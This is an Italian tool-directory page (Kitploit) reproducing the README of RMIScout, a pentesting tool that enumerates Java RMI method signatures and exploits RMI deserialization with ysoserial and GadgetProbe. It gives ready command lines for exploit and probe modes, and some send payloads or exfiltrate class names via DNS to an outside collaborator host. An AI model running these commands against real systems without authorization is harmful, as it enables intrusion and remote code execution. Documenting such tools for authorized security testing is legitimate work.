Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
rmiscout — RMIScout utilizza strategie di wordlist e brute force per enumerare le funzioni RMI di Java e sfruttare le vulnerabilità di unmarshalling dei parametri RMI. | Kitploit
Strumenti/GitHubGitHub/bishopfox/rmiscout
Scanner di VulnerabilitàExploitRaccolta InformazioniFuzzingPenetration Testing
GitHubbishopfox/rmiscout

rmiscout

RMIScout utilizza strategie di wordlist e brute force per enumerare le funzioni RMI di Java e sfruttare le vulnerabilità di unmarshalling dei parametri RMI.

Vedi Repository
44862595 anni faRevisionato da Kitploit
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

License Python version

Descrizione

RMIScout consente attacchi con wordlist e brute force contro interfacce Java RMI esposte per indovinare in modo sicuro le firme dei metodi senza invocarli. Supporta molteplici protocolli Java RMI, l'invocazione di metodi e lo sfruttamento.

Panoramica delle funzionalità

  • Supporta molteplici tipi di server Java RMI:
    • RMI-JRMP (noto anche come RMI semplice; di solito porta 1099): servizio di registro oggetti remoti (rmiregistry)
    • Stub di attivazione RMI tramite rmid
    • RMI-IIOP: modello di programmazione Java CORBA (orbd; di solito porta 1050)
      • IIOP richiede JRE 1.8 per essere utilizzato. A causa della deprecazione nelle versioni successive del runtime.
    • RMI-SSL
  • Molteplici modalità di funzionamento
    • modalità wordlist: Verifica dei metodi remoti utilizzando una wordlist di firme (vedi elenchi inclusi lists/prototypes.txt)
    • modalità brute force: Data una wordlist di nomi di metodi, genera firme con vari tipi di parametri, numero di parametri e tipi di ritorno.
    • modalità exploit: Usa ysoserial per sfruttare metodi remoti con parametri non primitivi.
      • Richiede che rmiscout sia eseguito con JRE 1.8 affinché ysoserial funzioni correttamente.
    • modalità probe: Usa GadgetProbe per identificare le classi nel classpath remoto
    • modalità invoke: Invocazione diretta di metodi remoti specificando una firma del metodo e valori dei parametri dalla riga di comando (solo primitivi, array e Stringhe).
    • modalità elenco: Elenca i registri disponibili sul server remoto.
  • Commuta automaticamente tra RMI, RMI-SSL, stub di attivazione.
  • Esegue automaticamente tecniche di bypass localhost (ad es., registri associati a @127.0.0.1:XXXX, ma ancora esposti esternamente tramite XXXX)

Come funziona

Per identificare ma non eseguire funzioni RMI, RMIScout utilizza funzioni di rete RMI di basso livello e generazione dinamica di classi per inviare invocazioni RMI con tipi deliberatamente non corrispondenti al fine di attivare eccezioni remote. Tutti i parametri vengono sostituiti con una classe serializzabile generata dinamicamente con un nome di 255 caratteri che si presume non esista nel classpath remoto. Ad esempio:

Interfaccia remota:

void login(String user, String password)

RMIScout invocherà:

login((String) new QQkzkn3..255 caratteri..(), (String) new QQkzkn3..255 caratteri..())

Se la classe è presente, ciò comporterà una `java.rmi.UnmarshalException` causata da `ClassNotFoundException` o da un errore di unmarshalling degli argomenti senza invocare il metodo sottostante.

Per articoli tecnici più dettagliati:
* [(Articolo originale) RMIScout: Brute-force sicuro e rapido delle interfacce Java RMI per l'esecuzione di codice](https://know.bishopfox.com/research/rmiscout)
* [(Aggiornamento RMIScout) Lezioni apprese sul brute-forcing di RMI-IIOP con RMIScout](https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout)

### Modalità di funzionamento

#### Modalità wordlist

./rmiscout.sh wordlist -i lists/prototypes.txt

Fornisci una wordlist di prototipi di metodi da verificare sul server remoto. RMIScout restituirà tutte le corrispondenze identificate.

*Per RMI-IIOP/CORBA*: A meno che i metodi non siano sovraccaricati, il brute-forcing e l'invocazione richiedono solo che i nomi corrispondano (tutte le altre informazioni vengono ignorate).
<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/b49af096649b16371119eb4d8c730c23e59fe3bfa7a4a4e7703bd56f48d73342.gif" width=800/>
</p>

#### Modalità brute force

./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4

Fornisci una wordlist di nomi di metodi candidati, quindi fornisci un elenco delimitato da virgole di tipi di ritorno candidati, intervallo numerico di parametri e tipi di parametri candidati. La modalità brute force genererà le permutazioni e cercherà le firme corrispondenti.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/7d72b55c4f69aaac0cc8fefdf93bdb545090239a664b1c427584a89325b5ed8e.gif" width=800/>
</p>

#### Modalità exploit

./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName

Su server mal configurati, qualsiasi firma RMI nota che utilizza tipi non primitivi (ad es., `java.util.List`), può essere sfruttata sostituendo l'oggetto con un payload serializzato. Questa è una configurazione errata piuttosto comune (ad es., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server e Gemfire, Apache Karaf + Cassandra) come evidenziato nell'intervento di An Trinh al Blackhat EU 2019 (https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf).

RMIScout si integra con [ysoserial](https://github.com/frohoff/ysoserial/) per eseguire attacchi di deserializzazione contro servizi che configurano in modo errato i filtri di serializzazione a livello di processo ([JEP 290](https://openjdk.java.net/jeps/290)).

Esempi di firme sfruttabili:

void exampleMethod(java.util.Map a) // Qualsiasi tipo non primitivo void exampleMethod(float[] a) // Qualsiasi tipo di array, anche primitivi void exampleMethod(String a) // Funziona su JDK più vecchi, vedere sotto...

*Nota:* Le firme contenenti tipi `java.lang.String` sono sfruttabili solo nelle versioni JRE 8/11/13/14 precedenti all'inizio del 2020 in RMI-JRMP, ma sono ancora sfruttabili al momento in RMI-IIOP.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/da3eaefb9f9c43ab2d8fe0df6d3a9a880630b90b14c345b937b118d6b2a5970b.gif" width=800/>
</p>

#### Modalità invoke

./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' ./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)'

RMIScout ti permette di invocare qualsiasi firma con primitivi, array primitivi o Stringhe. Tipi più avanzati richiederanno la scrittura di un client personalizzato.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/4d6341cea3be85d8003d108946d90b30c97a4cc75876d5ab770ae09019dc8b96.gif" width=800/>
</p>

#### Modalità probe

./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName

RMIScout si integra con [GadgetProbe](https://github.com/bishopfox/gadgetprobe) per identificare le classi nel classpath remoto. I nomi delle classi vengono esfiltrati tramite DNS.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/3545/9e70ef4e3e4f5c3da27ecfd6d6a11e825a25af345f89079db6f64a854e673a66.gif" width=800/>
</p>

### Compilazione ed esecuzione

Utilizza lo script `rmiscout.sh` incluso per compilare automaticamente il progetto e come comodo wrapper per la sintassi `java -jar`:
```bash
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

In alternativa, compila il progetto manualmente e utilizza la sintassi tradizionale java -jar:

# Compila manualmente il JAR
./gradlew shadowJar

java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>

Nota: RMI-IIOP (compilazione/runtime) e ysoserial (runtime) dipendono da JDK8.

Scarica lo strumento